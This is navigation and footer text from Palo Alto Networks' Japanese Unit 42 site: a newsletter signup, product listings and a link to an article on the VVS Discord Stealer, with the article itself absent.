  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/vvs-stealer/ "Pyarmorを利用して難読化と検知回避を行うVVS Discord Stealer")

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)  
  ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]()  
  ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/04/Unit-42_get-updates-banner.png)  
  ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Unit 42 からの最新情報を取得

## 進化する脅威の状況を常に先取り

メール アドレス

本フォームを送信することにより、[利用規約](https://www.paloaltonetworks.jp/legal-notices/terms-of-use)に同意し、[プライバシー ポリシー](https://www.paloaltonetworks.jp/legal-notices/privacy)を承認したことになります。

本サイトは reCAPTCHA で保護されており、Googleの[プライバシー ポリシー](https://policies.google.com/privacy) と[サービス利用規約](https://policies.google.com/terms)が適用されます。

Invalid captcha!
サブスクライブ ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg)  
{#footer} 製品とサービス

* [AI利用ネットワーク セキュリティ プラットフォーム](https://www.paloaltonetworks.jp/network-security)

* [AIのセキュア バイ デザイン](https://www.paloaltonetworks.jp/precision-ai-security/secure-ai-by-design)

* [Prisma AIRS](https://www.paloaltonetworks.jp/prisma/prisma-ai-runtime-security)

* [AI Access Security](https://www.paloaltonetworks.jp/sase/ai-access-security)

* [クラウド提供型セキュリティ サービス](https://www.paloaltonetworks.jp/network-security/security-subscriptions)

* [Advanced Threat Prevention](https://www.paloaltonetworks.jp/network-security/advanced-threat-prevention)

* [Advanced URL Filtering](https://www.paloaltonetworks.jp/network-security/advanced-url-filtering)

* [Advanced WildFire](https://www.paloaltonetworks.jp/network-security/advanced-wildfire)

* [Advanced DNS Security](https://www.paloaltonetworks.jp/network-security/advanced-dns-security)

* [Enterprise Data Loss Prevention](https://www.paloaltonetworks.jp/sase/enterprise-data-loss-prevention)

* [Enterprise IoT Security](https://www.paloaltonetworks.jp/content/pan/ja_JP/network-security/enterprise-iot-security)

* [Medical IoT Security](https://www.paloaltonetworks.jp/network-security/medical-device-security)

* [Industrial OT Security](https://www.paloaltonetworks.jp/content/pan/ja_JP/network-security/industrial-ot-security)

* [SaaS Security](https://www.paloaltonetworks.jp/sase/saas-security)

* [次世代ファイアウォール](https://www.paloaltonetworks.jp/network-security/next-generation-firewall)

* [ハードウェア ファイアウォール](https://www.paloaltonetworks.jp/network-security/hardware-firewall-innovations)

* [ソフトウェア ファイアウォール](https://www.paloaltonetworks.jp/network-security/software-firewalls)

* [Strata Cloud Manager](https://www.paloaltonetworks.jp/network-security/strata-cloud-manager)

* [SD-WAN for NGFW](https://www.paloaltonetworks.jp/network-security/sd-wan-subscription)

* [PAN-OS](https://www.paloaltonetworks.jp/network-security/pan-os)

* [Panorama](https://www.paloaltonetworks.jp/network-security/panorama)

* [セキュア アクセス サービス エッジ](https://www.paloaltonetworks.jp/sase)

* [Prisma SASE](https://www.paloaltonetworks.jp/sase)

* [App Acceleration](https://www.paloaltonetworks.jp/sase/app-acceleration)

* [自律型デジタルエクスペリエンス管理](https://www.paloaltonetworks.jp/sase/adem)

* [Enterprise DLP](https://www.paloaltonetworks.jp/sase/enterprise-data-loss-prevention)

* [Prisma Access](https://www.paloaltonetworks.jp/sase/access)

* [Prisma Browser](https://www.paloaltonetworks.jp/sase/prisma-browser)

* [Prisma SD-WAN](https://www.paloaltonetworks.jp/sase/sd-wan)

* [リモート ブラウザ分離](https://www.paloaltonetworks.jp/sase/remote-browser-isolation)

* [SaaS Security](https://www.paloaltonetworks.jp/sase/saas-security)

* [AI駆動型セキュリティ運用プラットフォーム](https://www.paloaltonetworks.jp/cortex)

* [Cloud Security](https://www.paloaltonetworks.jp/cortex/cloud)

* [Cortex Cloud](https://www.paloaltonetworks.jp/cortex/cloud)

* [Application Security](https://www.paloaltonetworks.jp/cortex/cloud/application-security)

* [Cloud Posture Security](https://www.paloaltonetworks.jp/cortex/cloud/cloud-posture-security)

* [Cloud Runtime Security](https://www.paloaltonetworks.jp/cortex/cloud/runtime-security)

* [Prisma Cloud](https://www.paloaltonetworks.jp/prisma/cloud)

* [AI駆動型SOC](https://www.paloaltonetworks.jp/cortex)

* [Cortex XSIAM](https://www.paloaltonetworks.jp/cortex/cortex-xsiam)

* [Cortex XDR](https://www.paloaltonetworks.jp/cortex/cortex-xdr)

* [Cortex XSOAR](https://www.paloaltonetworks.jp/cortex/cortex-xsoar)

* [Cortex Xpanse](https://www.paloaltonetworks.jp/cortex/cortex-xpanse)

* [Unit 42マネージド ディテクション\&レスポンス](https://www.paloaltonetworks.jp/cortex/managed-detection-and-response)

* [マネージドXSIAM](https://www.paloaltonetworks.jp/cortex/managed-xsiam)

* [次世代のアイデンティティ セキュリティ](https://www.paloaltonetworks.jp/idira)

* [特権アクセス管理](https://www.paloaltonetworks.jp/idira/human/privileged-access-management)

* [アイデンティティ管理とアクセス管理](https://www.paloaltonetworks.jp/idira/human/identity-and-access-management)

* [Endpoint Privilege Manager](https://www.paloaltonetworks.jp/idira/human/endpoint-privilege-manager)

* [アイデンティティ ガバナンス](https://www.paloaltonetworks.jp/idira/human/identity-governance)

* [従業員パスワード管理](https://www.paloaltonetworks.jp/idira/human/workforce-password-management)

* [エージェンティック アイデンティティ](https://www.paloaltonetworks.jp/idira/agentic)

* [シークレット管理](https://www.paloaltonetworks.jp/idira/machine/secrets-management)

* [統合型シークレット ガバナンス](https://www.paloaltonetworks.jp/idira/machine/unified-secrets-governance)

* [アプリケーションの認証情報配信](https://www.paloaltonetworks.jp/idira/machine/application-credentials-delivery)

* [ベンダーの特権アクセス](https://www.paloaltonetworks.jp/idira/human/vendor-privileged-access)

* [脅威インテリジェンス\&インシデント レスポンス サービス](https://www.paloaltonetworks.jp/unit42)

* [予防評価](https://www.paloaltonetworks.jp/unit42/assess)

* [インシデント レスポンス](https://www.paloaltonetworks.jp/unit42/respond)

* [セキュリティ戦略を変革](https://www.paloaltonetworks.jp/unit42/transform)

* [脅威インテリジェンスについて](https://www.paloaltonetworks.jp/unit42/threat-intelligence-partners)  
  会社名

* [パロアルトネットワークスについて](https://www.paloaltonetworks.jp/about-us)

* [採用情報](https://jobs.paloaltonetworks.com/en/)

* [お問合せ](https://www.paloaltonetworks.jp/company/contact-sales)

* [企業責任](https://www.paloaltonetworks.com/about-us/corporate-responsibility)

* [お客様向け](https://www.paloaltonetworks.jp/customers)

* [IR](https://investors.paloaltonetworks.com/)

* [拠点](https://www.paloaltonetworks.com/about-us/locations)

* [ニュースルーム](https://www.paloaltonetworks.jp/company/newsroom)  
  人気のあるリンク

* [ブログ](https://www.paloaltonetworks.com/blog/?lang=ja)

* [コミュニティ](https://www.paloaltonetworks.com/communities)

* [コンテンツライブラリ](https://www.paloaltonetworks.jp/resources)

* [Cyberpedia](https://www.paloaltonetworks.jp/cyberpedia)

* [イベントセンター](https://events.paloaltonetworks.com/)

* [電子メール設定の管理](https://start.paloaltonetworks.com/preference-center)

* [製品A〜Z](https://www.paloaltonetworks.jp/products/products-a-z)

* [製品認証](https://www.paloaltonetworks.com/legal-notices/trust-center/compliance)

* [脆弱性の報告](https://www.paloaltonetworks.com/security-disclosure)

* [サイトマップ](https://www.paloaltonetworks.jp/sitemap)

* [テクニカル ドキュメント](https://docs.paloaltonetworks.com/)

* [Unit 42](https://unit42.paloaltonetworks.jp/)

* [個人情報の販売および共有禁止](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd)
  ![Palo Alto Networks Logo](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/pan-logo-dark.svg)

* [プライバシー](https://www.paloaltonetworks.jp/legal-notices/privacy)

* [トラスト センター](https://www.paloaltonetworks.jp/legal-notices/trust-center)

* [利用規約](https://www.paloaltonetworks.jp/legal-notices/terms-of-use)

* [ドキュメント](https://www.paloaltonetworks.jp/legal-notices)

Copyright © 2026 Palo Alto Networks. All Rights Reserved

* [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks)
* [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks)
* [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/)
* [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks)
* [![](https://www.paloaltonetworks.jp/content/dam/pan/en_US/images/icons/podcast.svg)](https://unit42.paloaltonetworks.com/unit-42-threat-vector-podcast/)
* JP  
  Select your language  
  ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg)

### Default Heading

Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg)  
Seekbar

![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg)  
![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg)  
Volume
![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)
